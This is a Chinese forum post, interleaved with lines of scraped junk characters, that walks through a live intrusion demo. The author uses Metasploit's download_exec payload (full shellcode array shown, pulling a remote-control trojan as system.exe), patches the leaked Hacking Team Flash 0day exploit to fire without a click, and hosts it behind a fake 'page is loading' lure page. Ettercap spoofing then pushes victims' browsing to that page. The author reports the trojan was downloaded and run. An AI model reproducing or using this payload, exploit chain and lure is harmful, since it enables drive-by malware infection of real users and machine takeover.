|
0 A! |6 ]# g2 c: r& X" P
三、flash 0day之手工代码修改制作下载者实例入侵演示
$ e# d4 E t6 d( b1 [- E 1 }9 P# S: z6 a
9 z5 s" ]8 t! Y9 J2 A( a# h# R* q y 利用到的工具： 9 A9 H1 w. I0 l. A
7 U4 K. X8 W8 V+ T* t$ c5 @9 y# F+ d9 Z
Msf
1 |5 `) ^6 f9 S+ i0 S
9 U3 v* v" A+ B: s( C3 ^
& F+ h* c1 o" V. p: o t! v; R Ettercap , P. M9 K3 \3 o
6 B% j& T$ l4 \' K' H' V. J9 o
' x* h0 K- R8 Z" K9 f7 T, N2 H
Adobe Flash CS6
6 T1 d) ]- S3 n+ \' H
# e E1 p, |! R
6 X N: p$ S! v* h# u Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 " M; D1 M. a" m3 J$ g
6 ^2 x1 ~" ~9 q- ?9 j
& X# ~& h% ^: M+ C8 B, ]3 Z" ~+ w 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options
2 u i+ Y$ v2 D2 F1 E
$ c' f3 j% q( f; d. j, O4 f/ X8 K8 Q: m- Y6 `7 ^" w
如图： 8 b5 [3 x7 A, k9 C! S
* S& [, o5 M. Y b
' h7 h1 R$ \6 C% `( c/ r 1 g- ]3 ?; p" f* H6 W
/ K$ }8 v! B$ ]- F- [8 a2 u: m
# ~. r) `4 c1 p N9 S, M  6 X3 { ]) B+ g; e% X* K& L$ a" c8 K) J
& Y- v' G: E, m1 O- q) o) V6 \3 S
/ e) M% P' E; S8 F/ d* W1 X 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 6 v3 \- ~ _8 ]4 V
( }! {. J E( n, s- |+ T# D. x2 a3 f$ a; O, W9 P* x
) r" H/ z0 W1 n1 n- J1 h4 @
0 B( y' X7 @5 k0 W1 G3 h3 a3 V
* B" h; g% @! ~7 O& r# N  0 k" g- X5 ~2 A% ?- L: X4 V
/ @# a9 }, z( b& l
" }/ c7 ^( t7 j+ y+ A7 ~, \$ P
然后执行generate -t dword生成shellcode，如下： 1 E- a4 U4 h+ k, b; J; j6 B
0 J1 D: M+ m8 a! {# k& h+ p
/ ?; I- m4 I9 f* R. F1 t 
( j: C& i5 C# ] 3 n8 D7 B# k+ W4 _7 {
% c9 w& n5 Q) ^! o7 F+ k3 B0 ^ _
复制代码到文本下便于我们一会编辑flash exp，如下：
( r* ~$ G! f4 y, ~ ! Y; P* q: J/ ?! J1 l3 P! c6 e& d; S
/ i! Z+ s! E( o* }2 Q* |$ t; d 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
9 y' {* U. s1 }0 V; q# U: z9 C6 u ( X8 w* _. o; O7 Q0 `% L% R& B5 x# ?
( E" @7 B4 u' G$ v
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 6 J/ W+ H8 w: w; C
0 U! y) Q1 k% H
/ D+ O& P0 v# A
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
4 p3 s9 G5 H9 L% j
% L% O a2 K5 k
/ G3 Z( L9 y- L 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
( ?/ q+ z s$ {$ D5 C % b: N) L7 V6 `
; Z1 l( a! U. M: o5 S 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, & }! t) ^0 t9 @* Q% f3 y
1 E9 {% e0 K' Y& W# z
1 n1 a2 z# Q: t( T: t 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 1 X+ M; L/ j" z+ u2 k
A( ?% [* W5 `
1 n* e; w* N5 S! j' B: } 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ! H Y' i7 m" p
- g' B3 ^. l& V+ z& J9 m
, O8 S- k4 \- s! f* p 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 3 w! F, q" D6 ?7 T
2 G1 b2 | m z9 k% j
: w/ p8 d+ O8 f$ Y& E! a3 a 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
) Z" u4 a* j5 n5 m5 k6 E# G
% ]$ }* C J! Q) O8 g: G2 ~4 H- M% w' S9 u9 @' _$ y, d) M8 _9 ?# o5 t
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
7 L/ ^$ Y# E+ | J+ B J* @
6 O# _! N( k' a8 Q6 c
# q$ Y: A5 T0 b$ k 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, : D9 u) O+ w$ M2 B$ H/ o$ s. i
3 O* G+ K/ S) X. A; z6 E8 B4 i
2 ?- B0 Z9 x1 m% b; @ 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
! T, y) F' |& ?- J4 K
9 l+ ^& O( X$ N& _# F, W- O, e- N& O& M# e3 o l1 u
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 6 L: m4 a/ J: k; i$ U
" `4 i1 N' I5 t
2 ^( ~. |; B, w( s 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 2 i% j: e/ Z6 g, ?! ~
5 B* |! B7 f# ~4 k
$ B& H) P7 q$ x( a9 M - K7 P% [4 P/ U+ P6 F; d+ M8 d }
, Z/ I2 Q% z, i6 E- X
7 E/ [2 M( l, m1 w / c/ I% j/ x6 H& z4 c5 [: L% D; X
- m4 L" Y: d( q; e: K, {' s) p" h* ]$ u4 }
下面我们来修改flash 0day exp，需要修改三个文件，分别为： 0 N( x( O$ z; ^( N
3 r6 h' p% p8 T' e g6 J3 Z( X1 {) v4 i: s2 {" N5 l% Q0 N% E
 % J O6 J* Y, |+ Y
1 F7 B# F w- T4 _! ~- r$ O$ V7 K
先修改ShellWin32.as，部分源代码如图： % h, Y' f# \2 C. O/ ?
% A" Y( a/ k7 p4 k. l: J
: t5 Z: [" }+ e+ Y2 T) | 
. z8 @6 U/ F; J
* D }4 o0 m: b5 G* `* F
7 C( | g) C: A) a, }0 {( f 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： H! n& D6 K- o( Q$ O6 w" X* W
8 k+ k6 k1 C8 `. L: m
# q" F% y6 Z) ^ 
+ d- y, C5 L7 b; ^6 p) \3 {. u & X8 q3 a. o$ a+ v6 \
, m; V. {) u' ^
然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： 7 o6 v; B/ }- X% z7 C
9 P" j$ Q( e4 V7 v5 _' [" P1 B6 b0 Y7 A$ N `# h
8 \# e" c; T u4 a/ k # B& j# e. c; E& ?, l* p
0 i" J1 V8 h _
换行在后面加一句TryExpl();注意是l不是数字1，然后如图： 9 l7 w: ^) j1 {4 }
3 ~& w$ X5 Z/ ~2 s/ M1 D$ A% x+ y! `* M$ C
) S% ]( X) M O" Z+ U' S8 i
2 C( O: c! z/ Y2 A% U" w: l/ W! e% |& Q4 @
) p0 R/ F$ t/ p0 T6 K0 |5 L
: z' d% a! O& n9 N! N% ?' x
7 R7 Y% C: m1 z& X  " {; [4 {/ T# x8 R U
1 I A8 X: p$ w' f# U' V) \/ z H( d' ~; u
然后点保存，下面我们来编译一下，打开 $ U4 Y2 W, S2 {2 d6 O& B
6 U& |* D6 q, A0 b$ Q4 M
5 l' [* j4 Y/ s+ X
exp1.fla然后点文件-发布，看看编译没错误
- N9 c% f1 S$ X# o , H; G2 `, E3 n. S5 ?6 y* p
# d4 o; ^9 N* I1 j( f " ~3 B' H. r8 B& X3 k
% J( @5 r6 Q9 M3 v8 p* @5 E" P8 ]0 w! |5 k: @. o$ e
& f8 O0 f0 G2 c% n7 ]/ M
6 |) \: M$ I1 Q$ A' {2 \9 [3 l2 W' R. ~% q. U7 [! q
{) v0 \* w% C/ X
* A( q* I( {3 t5 C4 C# G
# g+ E$ o b3 F5 Z" `/ M  9 T' B5 I) w8 k! l+ F
, Z7 ^& T# L! H2 ~' t, y' l$ _' K5 ~# B
然后我们把生成的 " ^' {: I! P }, j1 T
9 w ?7 J/ Q- W% a
4 s( c- t- h. e0 s6 e exp1.swf丢到kailinux 的/var/www/html下： ! e- n" s. W' ~. i- k" l
* X4 U' `) ?6 P- \/ ]2 m* W* a$ U- W$ L7 O9 O/ e& D
然后把这段代码好好编辑一下
3 e; V# m, q% W5 H& { 7 Y" Z4 M% `3 O6 N
* N* k. a. \6 o7 }8 _& k
5 u# N- v/ s3 L " J! o. Y8 p' H" `$ F+ ~ L
7 }" d% D0 f# l, K9 _7 S- r
. z6 K* i9 t- x
/ I* U# C( q2 V" Y; \6 c$ ^- m* O& u5 g3 d
! P( Z! [9 Z* k' m t0 w' M
" B8 L4 [" n4 _: Y) o' l k' @6 k' @8 h# \" M
# [) d$ p9 r3 Y0 n$ {0 h
8 Y9 W! y6 N+ `* k" h5 E
( D# P" V' m; u. K* R5 p 0 s7 K# H! o7 @* r
' ]$ T* n! Z4 w+ L
. _2 o T. V9 `
8 r- H! [1 d9 ? _ \ $ ?' U" C( `2 P* r
* z1 c6 O) t1 |* [ ^ <!DOCTYPE html> / k9 g) U9 ^+ J/ ]
+ F" d7 \) `8 R. O0 n9 S
" h. Q6 C8 B& _2 c2 X6 s! v/ I <html> . ?- p1 X9 }' K* P, P d
4 m t# i% L& [" P2 j: {0 j, a4 p
8 d e8 |! h1 y: E
<head>
: J( \0 D6 }" h% n+ J% ]: x
8 `2 U9 J8 X- F$ w8 R
8 H N! L7 a! l* }9 p& x- o <meta http-equiv="Content-Type" content="text/html;
2 Q j/ u6 Y& v2 [) B; Z7 T 8 T# T3 F, L3 f% h5 K
) V8 @/ k& ?, E% D x; X charset=utf-8"/> 9 g" l1 n, x5 p; l
" ^( l7 D% |% M+ J9 b
* p1 u; Q- H( z- i( z </head>
& G; r1 K, z/ {) C- [0 R& i ) Q1 R) H8 x2 J/ ^- J$ `
1 V4 T+ S) a* q6 F <body> ' Z5 w0 ~9 B3 U0 R; Z: E
" |: i/ Y3 F% f c8 Q+ l3 o5 a; R! q5 X2 r6 f
<h2> Please wait, the requested page is loading...</h2> * @/ N2 C) w9 W. c8 J! G; b8 b: _
$ H( S$ Z; n, u* w! f8 H
; i1 ^5 T" M2 n% G. Z; g' [$ n" s <br> - p0 c; ~# A6 n- D
$ @, r5 u' k" v4 y
; F0 A' b" c% ]# M4 `. g
<OBJECT $ _% q3 v% F2 V/ C) x$ }/ a! x
% y# [1 o+ ^% `; W( S/ [& N- n
4 q; A" x9 l Y6 ^ classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie . `; \. F z( z8 @4 ~
1 |- T, _1 }( I: ^* p* l" e4 ]. d, j
, c6 y. F4 D4 R Q# _ VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
( v0 C1 F! m( I5 o3 T( V 7 c+ J/ K/ ~6 {/ N+ U
7 c. M) N% @; i7 @0 n, e3 T
</body> C; L9 s8 I" K4 R1 z2 q! T
5 `' ]8 W# V, f* B p" [
3 V P; \8 V7 l4 {
<script>
6 f" k+ C* e7 H4 `6 Z2 m
% w2 l0 C8 I. N, U8 K7 y
0 M `' O$ d: J setTimeout(function () {
3 P3 n% N/ z, T: C
+ L9 j# I5 m9 K& J/ K0 ^
& l: y& V8 {9 D' l( ]# g8 X6 ~
9 o' c. w5 b# v: @: {3 Z" D 5 l; r$ J/ L- V# h0 m' p3 r
, K2 b& s8 {$ ^( ^/ D$ S, U/ P3 t
window.location.reload();
5 Z2 `& i7 d0 D! \ L& E& ?; M ; ~. H$ }2 A5 K. _" o2 z3 O
) S2 R; G# Y9 ]: _' P
}, 10000);
" \1 y- B( P3 \# M5 | . n+ \# f) E6 |5 x+ T
8 Y1 @4 j1 R& ^; V
! C4 m) E' e! Q8 T ! v; [ M# G' b, L6 y3 k2 K! g
- L4 s0 f7 z" y7 s( |
</script>
4 _/ {5 m* ]- y - h% @& ^! Z( Z% a6 Q
, x: s3 o/ r- T9 z- H( L/ G
</html> + Q- J( [& |5 `5 F
( C1 O' y" H( x3 o9 Z. \% d
6 P2 f0 J+ ^4 p& _2 Z6 f! N
' a) |2 a$ f/ P" E7 j. K, Y
/ f# x" B1 U' ]6 s/ [+ F4 \+ U
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： - \0 W5 U2 u8 c) q& U8 {6 _' x/ e
( U. `7 ~9 C% v/ ]" `+ [- L1 s h, B( k: g
 . c6 p% I8 }7 Y$ A2 C
1 N5 Q% L$ b* r
1 A7 k4 X& r! P0 O/ U) d
1 e1 h( j# f8 j- K6 t" `
" r3 @; a5 h( ^ j! U. \4 t2 ?
$ O8 z9 X1 L7 k# W j
7 w4 U! m I% h
& e8 y" G, ?. Y
2 I, U) ^; C9 a& B; K3 s! U
4 A3 ~- s0 v; Q/ v W
3 O8 U) W( X% X0 v- G
6 ]# i1 D# P0 |/ m4 h 9 w. M: B" |5 k
, Z5 E- M% C0 k
+ h0 x/ ], P" E, F9 ?! U; c
下面我们用ettercap欺骗如图：
* O { D* s$ m. A/ u W
0 s( x2 o& k8 g- z H4 j+ ~5 V/ |6 ~7 {% m( y0 l0 `7 A# w" W
( v0 G/ `. X. J3 G0 ~
1 f! N; m& Q9 l; |4 \8 |, M1 D- k H) C3 o2 s
+ v+ B3 S! m2 ?1 L0 Y: f% R! F
! Y, P* ?. r6 C: ~" E1 c0 j" ]
+ r7 p# [ a$ F6 d" Y- V 下面我们随便访问个网站看看： # e8 O, f/ A( M# {4 P6 W$ J6 }/ }. v; C
( a) E. R7 }$ d0 _" ^* t4 x+ |% _; n! m) K. H8 I# |4 O: ]
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：
! Z: M& O8 W# c: b( f! E p4 ]3 u6 m* f, i/ P% T
3 C# ?8 B2 n, A* D 
P* o! a: D4 t; j2 v 9 V8 S. r ?( d1 k$ H
- g* M: y! e* p8 ^6 R4 T1 { 我们看另一台，
% g6 {3 X0 Z4 d6 X w & s8 L2 r9 [+ J8 D
8 X$ R3 x4 |0 \ T5 n0 O$ [
提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。 1 N1 \! b$ v" R5 A8 h3 V7 _! K1 n3 e
| 
发表于 2018-10-20 20:28:55
收藏
支持
反对